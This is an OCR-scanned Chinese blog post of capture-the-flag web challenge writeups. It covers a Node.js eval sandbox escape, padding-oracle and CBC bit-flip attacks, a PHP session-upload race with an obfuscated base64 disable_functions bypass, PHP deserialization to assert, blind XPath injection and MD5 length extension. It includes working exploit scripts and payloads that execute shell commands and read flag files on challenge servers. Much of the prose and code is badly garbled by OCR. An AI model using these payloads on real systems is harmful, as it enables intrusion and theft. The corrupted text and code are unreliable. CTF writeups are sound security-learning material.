piu.tw login.php,2020NPUCTFA 15 WEB#E4)> Writeup

P& Hh J5 BB KAl o F 2021-03-19 01:54:13 KA o 1591 ﬁ R
XEFLE:  piutw loginphp
JR 3R B SecINHE X —E#: gtfly

RWREET T —THLKHKRSE, LTEHSWEBEH Hiwrite up

EIRIG
HEAREH, HEAEURLEE N Eview-source: B 7]
I8ERY

EZ . node.jsEUH . FIFEEHIE. bypass

B H: constexpress = require('express’);

const bodyParser = require('body-parser');

const cookieSession = require(‘cookie-session');

const fs = require('fs");

const crypto = require(‘crypto’);

const keys = require('./key.js').keys;

function md5(s) {

return crypto.createHash('md5')

.update(s)

.digest('hex);

}

function saferEval(str) {

if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&| %<>=,?:]|(?:\d+\.2\d*(?:e\d+)?)| /g, ")) {
return null;

}

return eval(str);

} /1 2020.4/WORKER1 &, LXMEXRNEK, RECET —1
const template = fs.readFileSync('./index.html').toString();
function render(results) {

return template.replace('{{results}}, results.join(’

");


https://blog.csdn.net/weixin_29822105
https://so.csdn.net/so/search/s.do?q=piu.tw+login.php&t=blog&o=vip&s=&l=&f=&viparticle=

}

const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({

keys

D)

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {

let result = ";

const results = req.session.results || [];
const { e, first, second } = req.body;

if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) ===
md5(second+keys[0])) {

if (req.body.e) {

try {

result = saferEval(req.body.e) || "Wrong Wrong Wrong!!!";
} catch (e) {

console.log(e);

result = "Wrong Wrong Wrong!!!";

}
results.unshift("${req.body.e}=${result});
}

}else {

results.unshift('Not verified!");

}

if (results.length > 13) {

results.pop();

}



reqg.session.results = results;

res.send(render(req.session.results));

b;

/1 2019.10/WORKER1 R 48 i i ZFH B FATHIRAAD, FHATHHEKPI
app.get('/source', function (req, res) {

res.set('Content-Type', 'text/javascript;charset=utf-8');

res.send(fs.readFileSync('./index.js"));

3

app.get(’/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;

res.send(render(req.session.results = req.session.results || []))

b
app.listen(80, '0.0.0.0", () => {

console.log('Start listening')

i

FIEE, RWXRRE R —FEFRangstromCTFSU —E/E, FIS%E X E:
https://www.sigflag.at/blog/2020/writeup-angstromctf2020-caasio/

B —EHW: if (first && second && first.length === second.length && first!==second &&
md5(first+keys[0]) === md5(second+keys[0])) {

B 4% i) {Eifirsti K 55 T-second KK &, (EEANBEAHIE], T B first+keyImd5% 4 T-second+keyimd5, X B.{§#
ERTisKBARE, JEAMFERFBEMAME, WREL/ME, SBBHALEREAU FENTFHE, WRREF
— IR, BLoHEEERANTR:

» [fal '] = et
"a,bc"

¥ Lo+ Vgt

e oy

¥ [11-+hg!
"1™

»

HEEBEWNMHRRSEA, FOAMRIIBAT IR, XRANBAER A~ SR —F:

» [@] 1== [8]
true



ZEBBAVENKS S TR, HE 22 1E N FRERIf (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&| "%<>=,7:]|
(2\d+H\.Ad*(?:e\d+)?)| /g, )X RFBRATITMANK B ZB W1, 1.1). FRABERFS()+\-/&|%<>=,. Math.xoodk
755 5 1) R A

AT LLfE I Math.fromCharCode if R K St 2 ¥ A E W 2/ 8 ARl idglobalE E & Flexecli$l, X— &
H E X LlpythonybfEikik; 2 FERATHATER WS

¥i&payload: >>> encode = lambda code: list(map(ord,code))

>>> decode = lambda code: ".join(map(chr,code))

>>> encode("return global.process.mainModule.constructor. _load('child_process').execSync('cat
/flag').toString()")

WX json$iE kK BRI AT & Fflag: {"e""(Math=>
(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114, 101, 116, 117, 114, 110, 32, 103,
108, 111, 98, 97, 108, 46, 112, 114, 111, 99, 101, 115, 115, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108,
101, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 95, 108, 111, 97, 100, 40, 39, 99, 104, 105,
108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 99, 97,
116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41))()))(Math+1)", "first™:
[0],"second":[0]}

web’i

*%%%p: Padding Oracle Attack. CBCHnfi# %
F—EBE: <?php

error_reporting(0);

include('config.php'); # $key,********gfilg1********x
define("METHOD", "aes-128-cbc"); //5E X % 75 2
define("SECRET_KEY", $key); //5& L% %A
define("IV","6666666666666666"); /& X ¥1iG F & 1646
define("BR",'

)
if(lisset($_GET['source))header('location:./index.php?source=1");

#var_dump($GLOBALS); /i Bt /R 18X A2

function aes_encrypt($iv,$data)

{
echo " encrypt ".BR;
echo 'IV:'.$iv.BR;

return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;

}
function aes_decrypt($iv,$data)



{

return openssl_decrypt(base64 decode($data), METHOD,SECRET_KEY,OPENSSL_RAW_DATA $iv) or
die('False'); #4 R BI %L, % INREI, F%RWGREFalse

}

if($_GET['method']=="encrypt')

{

Siv =1V,

$data = $filet;

echo aes_encrypt($iv,$data);

} else if($_GET['method]=="decrypt")

{

$iv = @$_POSTIiv;

$data = @$_POST['data;

echo aes_decrypt($iv,$data);

}

echo "B T, BURWIS S HIw".BR;
if($_GET['source'l==1)highlight_file(_ FILE_ );
>

e, VB4, SECRET_KEYARA; MRER, IVAIEICAIE, MERIIRE1, KBUREIFALSE

Padding Oracle¥di; EH#EEWFREHILE: https://skysec.top/2017/12/13/padding-
oracle%ES5%92%8Ccbc%E7%BF%BB%E8%BD %AC%E6%94%BB%E5%87%BB/#Padding-Oracle-
Attack%E6%94%BB%E5%87%BB%E8%BF %87 %E7%A8%8B

BREATAT CUB A VA, ) P R 55 4% B0 3R (BB A B BRATT IR AL I N R RE D BE I W MR8, AT S0 A 5t B A ST
HAMAFARFEHTEAME; RS T, AT IS NS PR 5 B, AT HE I IE# I B ST

CBC# R, WTH-HHE, FEFEHBNEE N, REMEBLHE AT, RKEHE

Rt8hi—4H, HiENVEG—HERRZ\X00, Middle A& it 4% JE e, AT TFEIEE M, THHENERR
ST F #R R T LA IE B . Middle[8] A #1451V[8] = plain[8]

Middle[8] * #Ji&IV[8] = 0xO1

MTIRTHEH . plain[8] = 0x01 A #4i&IV[8] A #145IV[8]

X FE AR BEEE L, JFEEFHFWENVKEE — N FTWHE: V8] = Middle[8] » 0x02
BRI rAMiddleft 5, MAIHRIVRBERT S I3 plain[8] = Middle[8] * ¥]#5IV[8]

exp.py: import requests

secret = 'ly7aukKVQCZWum/W/4osuPA=="



Middle =]

padding ="

for xin range(1,17): #ivhL

for y in range(0,256): # iv{E

if y == 255: # H45

exit()

IV = chr(0) * (16-x) + chr(y) + padding

url = 'http://webdog.popscat.top/index.php?source=0&method=decrypt'
data ={

VIV,

'data’: secret

}

res = requests.post(url, data=data)

res.encoding = res.apparent_encoding

if '"1"in res.text: # iv{E IE#f

padding = " # #& % padding

Middle.append(y”x) # #Middle, Middle[x] == #Ji&EIV[X] » OxN ==y A x
print(Middle)

for zin Middle:

padding = chr((x+1)"z) + padding # ZE it & padding4E: B#7 IV

break

a="

for i in Middle:

a += chr(iord('6")) # X B R F6, FFIRHEXRITET ...
print(a[::-1])

3 2|# 12 FlaglsHere.php, Vi3 AT —3%: <?php
#error_reporting(0);

include('config.php'); //***** ke gfilg2********|ast step!!
define("METHOD", "aes-128-cbc");
define("SECRET_KEY", "6666666");

session_start();



function get_iv(){ /44 2 M 1Z i 8578 [ 85 5k IV
$random _iv=",

for($i=0;$i<16;$i++){

$random iv.=chr(rand(1,255));

}

return $random _iv;

}

$lalala = 'piapiapiapia’;
if(lisset($_SESSION['Identity']) X
$_SESSION[iv] = get_iv();

$ SESSIONT['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY,
OPENSSL_RAW_DATA, $ SESSION['iv1));

}
echo base64_encode($_SESSION['iv1])."

if(isset($_POST['iv]){

$tmp_id = openssl|_decrypt(base64_decode($_SESSION['ldentity']), METHOD, SECRET_KEY,
OPENSSL_RAW_DATA, base64 decode($_POST['ivY));

echo $tmp _id."

if($tmp_id ==='weber')die($file2);

}

highlight_file(_FILE_);

7>

Bl CASECRET_KEY, HASCHIZEC; FIESHCAN, FEMMBE S KES T weber
—FFIRRX AN, WG HEE AMiddle, HA4:

H: IV[1]~Middle[1] = plain[1]

//E) Middle[1] = V[1] A plain[1]

BRAEE: V1] AMiddie[1] = B #Fplain[1]

Ma: HEENV] = V1] A plain[1] » B #Rplain[1]

EEEEER, FEWHKER12, BAREXKENS, WRBHEKE, FHHEEHKELR12, KEXNNMA
ET..



JaR—8, HEXMVRERSBIFEERMddleE, RAIEXAMiddlefE %M BRI, FrE2FEEY
ERIIV; expl.py: import base64

lalala = "piapiapiapia\x04\x04\x04\x04"; # FFHE 7

IV = base64.b64decode('ludqzE2tdLMamT xugF GENA==")

plain = 'weber\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\xOb\xOb\xOb\x0b' # F5j1H 78
new_iv = bytearray(16)

for i in range(16):

new_iv[i] = ord(lalala[i]) * IV[i] * ord(plain[i])

print(new_iv)

print(base64.b64encode(new_iv))

=K T MHelloWorld.class3t 4, Hljava HelloWorldiz1T: sATfE %N, 1R —&WEB%F, ¥iEjavawebtt
R—ILERRE, Wb mmAjavalfiizAidsm?

HEIDAITHF, RI—HEASCIHE, ¥ AFRIERBIFLAG

| rary hurcoon B Foguiar hurcton Bl Tretuchon  Dota 1 Unoglred — Extwerl syl

T Furchiors wandow & x| 0 oavewsd O] 0 meavews 0| F sewwes 0|0 Bum 0|8 mes O|F eses 0]

e invokevirtual javaliafP LS5iream.\

priotin{Liavaslang/Stringidv
dine &

bipush 24

newarray hyt,

dup

icanst_8

Bipush I82

hastore

dup

Jconst_1

bipush 188

hastaore

i | dup

dni 2 of 2 Iconst_2

B Gragh o oex bipush 47

g o bastore

dup

1const_3

bipush 183 |

hastore

dup

canst_4

o0 {0 26 iy 17, OO0 (E00000 airis 20 (vncheon s o with Ham Viow. 1

= Ot wirckow

ABREEAKPHP! | ! EfEE 1L
& E: XHEARCE. Sitdisable_functions

B, AMRHERHEE



@ FiEd | hatcyon-ctffun:30118/indeicbak php?action=message php

ff*i.i]ﬂ%?:g ;ﬁgﬁ%g

Index Message fips

ik, EFRES HIEES Bisbypass

T T
BirEETE

i REAHELEN

2R Fphp:/filterizBt/flag, A £, HAEEIREIG: ?action=php:/filter/read=convert.base64-
encode/resource=index.bak.php

%&32): <?php

session_start();

if(isset($_GET['action){

include $_GET/['action’;

exit();

}else {
header("location:./index.bak.php?action=message.php");
}

A LAE 23X BRXtinclude ) SC - BEAT 1 38, W LUAB B A session® & Bl AL IR U7 EE; BEHST
phpinfo:

ecshed_ opa passlivusyiinok ok sy s sk,

‘wog imm_cpen kil s seafie. show_source i | sog rnap_open ki sl scedrsrseadfie show_source. o
thi Pnasdy
display_strom on of
siispiay_siarin_errors o o
dos_reol

wogrei_exi




E@ F24 | hateyon-ctlfun 301 18 phpintopha -9 ﬁ'

reEsion cookic Frlime o o

‘senakon.cookie_paih ] ]

e e = o

zession.entiopy_Re. el owvunenaom

sexsion antiopy_length 2 E

nenaion ge_svisor 1000 #0600

nenaion g _marideiime N84 e

amasion ge_probatiny 1 1

wenaion bush_bits_per_character 5 5

sEnabon haah_funetion o o

e o Lay_wril o on

e e prvsessaf PHESESSD

wevaion save_harster . ™)

SERARoA AaTilerehaniSer e e

setskomniopd progreds clemip on o

menaion uplosd_progrevs anabled o o

wepaion plasd_progrese freg ™ L]

BT aples_progees min_ieg " '

nenaicn upload progiens name PHP_SESHION_ UPLOAD, PROGICESS PHP_SESTION, UPLOAD PROGIESE

mERIEn Upipad pOSTER L R upko_progresa._ upiad_progras.

- - e

| sewsion uve_snly_cookir on n L
e . -y P 1

FE HsessionfF A X —EERKAER, BIRATRIME, BLABRME—BRLSXERE: /tmp/

Ivar/lib/php/sessions/

18 F B A 223 5 TR IE M BR A2 M /tmp, ARG TR 4648 Fvar_dump(scandir('/"));(iX B.disable functionsfic & 548 T,
] DA F scandin) &R B %842, KIL T flag>sCHHE R AR, 04 Ul XS AR T PR, B4 st AT
RARH

*}Fdisable_functions, B _EHAMNFIHphpAZ 7 HKexp, B LAERE#bypass, i H Hitl:
https://github.com/mmOr1/exploits

XEHEE ERX expBE TmpART, BAEMEAIncludesREEHAT, XENT FEKexpidtiTbase644
5T I

JA4TF: import requests
import threading
url="http://ha1cyon-ctf.fun:30124/index.bak.php'
r=requests.session()

headers={
"Cookie":'PHPSESSID=123456'
}

def POST():

while True:

files={

"upload":" # k% Jo 35 i 25 S0

}



data={

"PHP_SESSION_UPLOAD_PROGRESS": \"<?php echo
‘asdf’;var_dump(scandir(/tmp/"));file_put_contents('/tmp/b.php’,
base64_decode(base64_decode('UEQ5d2FIQUtDaU1nVUVoOUUIEY3VNQzAZT GpRZ1pHbHpZ\V0pzWIY5bWRS
9ZWFFnYUdGeklIHSmxaVzRnWkdWemRISnZIV1ZrTENCallYVnphVz2VuSUdFZ1ZVRkdJSFoxYkc1bGNtRmIhVX
9kVOITMWTI5dEwyMXRNSEI4Q2dwd2QyNG9JbU50ZENBdIJpb2ILVHNLQ21aMWJLTjBhVZ1SUhCM2JpZ2tZMj
9aV05yQ2I1BZ0IDQWdJQOFNSUNBZ0IDQWdJQOJWWmina1pHVnlaV1InSVQwZ011ZzZNPRFkxT mpnek 1gWmxC
9kV1ptYkdVb2MzUnlYMOpsY0dWaGRDZ25RU2NzSURjNUtTazdDZ29nSUNBZ2RISnBaMmRs Y 2w5MVIXWW

9iRjIvWIdGdOIEMGdjM1J5TW5CMGNpZ2tZ\V0pqTENBd2VEVTRLVHNLSUNBZ0IDUmMhZbUSmWVdSa2NpQT
?>\"'
<« [ 3

}

data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php echo 'asdf'; include('/tmp/b.php'); 7>"
}

r.post(url files=files,headers=headers,data=data)
def READ():

while True:

event.wait()
t=r.get("http://ha1cyon-ctf.fun:30124/index.bak.php?action=/tmp/sess_123456", headers=headers)
if 'asdf' not in t.text:

print('[+]retry")

else:

print(t.text)

print('over')

event.clear()

event=threading.Event()

event.set()

threading.Thread(target=POST ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
RealEzPHP

8 M RFFIML. PHPRE. Seiddisable_functions



fH: <?php
#error_reporting(0);

class HelloPhp

{

public $a;

public $b;

public function __construct()X
$this->a = "Y-m-d h:i:s";
$this->b = "date";

}

public function __destruct(){
$a = $this->a;

$b = $this->b;

echo $b($a);

}

}
$c = new HelloPhp;

if(isset($_GET]['source))

{

highlight_file(__FILE_);

die(0);

}

@$%ppp = unserialize($_GET["data"));
2020-04-20 02:06:48

BRI, BRHEANSEH, S AAEF ISR S Empisk$ ZMphp7.0, -4 F HassertPATER
KRG, RGN EEHER—F, ¥bypass disable functionsilexps 234 WRE B &HAT; #Hikpayload: <?
php

class HelloPhp
{
public $a;

public $b;
Y



$a = new HelloPhp();

#$a->a = 'highlight_file("/tmp/a.php")’;

$a->a = 'include("/tmp/a.php")’;

#$a->a = 'file_put_contents("/tmp/a.php", base64_decode(base64_decode($_POST['t"])));
$a->b = "assert";

echo urlencode(serialize($a));

ZJETE LRSI BT Fflag:

v hateyon-tfun 3043t ime php?end »cal 10 jpvnc el ffemironAdatas O % AR IA" HelloP hg ™% 1AL B A% THS R IAT A 2 SIBLRIAL IR 1A *n
= =B AB0S CPHP_IN1 Flbl' e < 1.!’ h’F"P‘iﬂl‘l’l QLW LXTRA BUILED DOFSaapachod-deviiWe LOTLAGS--W1,-01 -Wi,--haib-gtyle=both -
PLSAPACHE RUN DTR=/va r.'n.n;wua_wr CFLMGS= . f5tac on;
QXEPHF MDS=(PHP VERSION=T. 8. JAJAPACHE PID_FILE=/war/r chal DLU"G I. ol ME‘HFK 26 5 I0BAPE THVSLAL 108 KWS?&J
4 +php-T. -arasc/ Troms this/mirrerPHP CPPFLAGS=-fstack. pr tor-siresg -fpic -Tpie
F*‘D
3 s hin: Febin: BEA[APACHE LOCK DI8=/var/lock/ apache X LAN={] .lFMI‘ LIURE TR
iy IE Nﬂ I.IS.M d?tiwﬂi LDG DIP»-." Jlﬂfﬂu MIWIIE IIE'S-.lnmcnnf dphy-dev file L Lo [ 12 Libe-dev make
2

AT RINLIPHP SHAZS S=a bBCSbebe 11 1 fEMI2909 0605555 S0bY 1320945 103 bbO 1A 2 ce Y01 4§ a1 3496 APACHE ENVARS. /et fapacho/envvarsF LAG-(IR {dac 6539 . bdrc . 4247 6318,
md

ezlogin

*%%2 . CSRF-Tokengiid. XPATHE i

PRI EIE N R L AR SQLEY, MRJFXRE T8 T —E R BIXPATHENE, w2 IMEREIMEES TR
S A AXML(I S AIRR), WRIEHEAT TXXERINK, (HIXE S H #17 7 tokenBilE, FMRITNER; RIEHE
BRI AR T PRI, TFRAEE ARG, AEAEEIT. . BUR T tokenS i, WIERAEN: RKYH KR RS
R BEHLAE B ItokenS5 A\ Bsession, R & #itokenft Blhtml T I FR5RR B b, T —RiE R #& HtokenfH 5

sessionf7fig E BT X L, 1 B sessionZk 34t 8] % B 9 15s. Fk HEE7E15sN BER1IR, NEEEM

B4 AR EBEYL ) sessid, SR )5 1E R 25 M Ktoken, Ff# X sessidfitokeni3t 715K, Er 1T

IEHE B

XPathRXMLHIBRZTE S, A BRAEREXKEBXMLIAE R MEE T RE, KEEERXMLAEAN:

xml version="1.0" encoding="UTF-8"?>

1

guest

e10adc3949ba59abbe56e057f20f883e

2

adm1in

cf7414b5bdb2e65ee43083f4ddbc4dof
MERRBEEMAKH 4, SErHPARELHER; WREusernamestfiA: 1'or1or'
FHEEmAN, SER: JERERE

—IENEFN: # EH—RIRBEAR

1" or substring(name(/*[position()=1]),{},1)="{}' or '"1'="1
# kB usernametr & 1 A 2



1' or substring(/root/accounts/user[2]/username/text(),{},1)="{}' or '"1'="1
Wi—Texp, HHEIZITEANIEEMLE: import requests

import string

import re

import random

url = 'http://127.0.0.1:10000/login.php'’

dic = string.ascii_letters + string.digits

# 3K HltokenFISESSID

def get_token():

headers = {

"Cookie":"PHPSESSID=" + str(random.randint(1,9999999999))

}

req = requests.get(url, headers=headers)

token = re.findall("token" value="(.*?)", req.text)[0]

return token, headers

def get_value(*params, position=1):

text="

#RIWAH R

if len(params) == 0:

data = "1" or substring(name(/*[position()=" + str(position) + "]),{},1)="{}' or "1'="11{}"
elif len(params) == 1:

data = "1" or substring(name(/" + params|[0] + "/*[position()= " + str(position) + "),{},1)="{}' or "1'="11{}"
elif len(params) == 2:

data = "1' or substring(name(/" + params[0] + "/" + params[1] + "/*[position()=" + str(position) + "]),{},1)="{}' or
l1 l=l1 1{}"

elif len(params) == 3:

data = "1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/*[position()=" + str(position)

+. 0= or =g
elif len(params) == 4:

data = "1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/" + params[3] + "/*
[position()=" + str(position) + "1,{},1))="{}' or "1'="11{}"

# PRI P 48 A



elif len(params) == 5:

#data = "1' or substring(/root/accounts/user[2])/username/text(),{},1)="{} or "1'="11{}"
data = "1' or substring(/root/accounts/user|[2]/password/text(),{},1)="{} or '"1'="11{}"
for i in range(1,40):

for j in dic:

token, headers = get_token()

headers["Content-Type"] = "application/xml"

payload = data.format(i, j, token)

res = requests.post(url, headers=headers,data=payload).text

if "I #RAE" in res:

text += |

print(text)

break

return text

v1 = get_value()

print(v1)

v2 = get_value(v1)

print(v2)

v3 = get_value(v1, v2)

print(v3)

v4 = get_value(v1, v2, v3)

print(v4)

v4_1 = get_value(v1, v2, v3, position=2)

print(v4_1)

v4 2 = get_value(v1, v2, v3, position=3)

print(v4_2)

v5 = get_value(1,2,3,4,5)

print(v5)

FIHPENENE, ATEEEMISHEFNTESR, FXEEEREIEN, RRRR



C QoREE: «-hatcyon-ctf.fun

Welcoma!
ImxhZyBpcyBpbiAviachBwon

gtily@mubuntu: ~

pace="preserve” xmnlns:iml=

-0.1,2.667-0.983,2.4,0.95
p5c2.567,2.1,4.35,3.8,5.35,
F.1.683,1.45,3.65
1.267-18.25-2-12.85
8.733,2.917,3.867,4.85,9.4
b0 . 350, LG, 0518.1 0 8527
E17-9.15-1.45

[

F 3 ?file=welcome, i3 /welcome, KILA]LLERBIIXAN M, BLAXBFEREEXHEES; RER

Bl AR AR HBflag, EXSEGHAT TRM, FEEHIphp. base. readX#F, HERAERNKNE;
B4 B 5 Mpayload: Php:/filter/string.rot13/resource=/flag

o (s () TEE urce hateyon-ctffun

synt{2ra501ss-5117-4150-0077-5614432228pa}

l-scale=]l, maxisum-scale=l"s
n.jcotves, ] 1" types”image/x-icon"=

iin="screen” Lype="text/cis"/>
= 5Creen” type="text/css"/>

="http:/ wew.wd.orgf 2008/ svg" xmln slink="http:/ fvew.w3.0rg/ 1999/ /x1ink" version="1.1" wml:space="preserve” wxmlns:xal="hit|

d=*image’ width="1* height="1" viewBox="8 @ 106 100° preservedspectRatio="none"s
Uink:href="static/admin/pattern 141.gif* width="180" haight="188" presorvedspectBatio="none®></imagos

ezinclude

L hashy RBYE. XHEE
fEresponse header+ & Bl Cookie# B : Hash=fa25e54758d5d5¢c1927781a6ede89f8a

SRR P name=gtfly, &2 7Eheaderd iR El T Xt Khash, H2%555 % # b 25 HHnikfifififlag.php, V5lEJE

RIBE:, WANMEES:

Emlwm]mslr&x: i;v}'lﬂe\ma[rmj_mm;w]
GET MMfifag php HTTEA 1 2 | HITEA.1 200 0
Host cyon-cif fun 30205 r te; Ti
Cac | man
Upgrade-Insecurs-Requests: 1 !
User-Agant: M P, Linux oB5_B4) Apple\Wabki/B3T 36 (KHTML, like Gacka) Contenl-Length: 24
5 03770100 SatanS37 36 Contant-Typa: taxtiml charssl=UTF.8
fehimd +eml application/sml =0 3 imagafwebp imagefapng ™ ¢=0 8
i e v=bd <hpad>
it oo, hal e yone-eif fun 778 ehallengas <scripl language=pvascript” type="taxtjarascnpl”>

zip, deflate window. location. href="404.hml*;

=this_is_not_fldg_and_H WA _waniz_girlfriend<iiles
3>

<body»
include{§_GET[ flile"[}<foody>

</himl>

MR E .. A s —FER AT
Fihash#™ & Bk i i
XEHT—ANITA: https:/github.com/JoyChou93/md5-extension-attack



RATRAWEGERR, RAFEERAhash. 8083 3C UL K salthl JR 77 i+ B B 7T 4= 5 A B payload:

SeclN@gtfly

H T X EBAMEsaltE, BATBEERW, E£R%EFE M exp.py: import os

import requests

import re

url = 'http://ha1cyon-ctf.fun:30170/

def get_payload(length):

h = 'python md5pad.py fa25e54758d5d5¢1927781a6ede89f8a admin {}'.format(length)
res = os.popen(h).read()

res = res.replace(\n', ")

return re.findall('urlencode: (.*)md5', res, re.S)[0]

for i in range(1000):

print(i)

payload = get_payload(i)

res = requests.post(url+'?name="+payload+'&pass=acdaba2e 1f1765da03ca9a027dfdc40b').text
if ‘error' not in res:

print(res, i)

break

BIR RIS R



gtfly@ubuntu: ~/% i /Tools/hashicfEY 1 & /md5-extension-attack

) EEWV) & (1) #EEA(H)

/G R—Ejavaf B H, AIEKRXE T javaZERA S, B LB R HHE AR &2 down, {HE KR UE
HREIEANH, 2T ALK,



	piu.tw login.php,2020NPUCTF公开赛 WEB部分Writeup

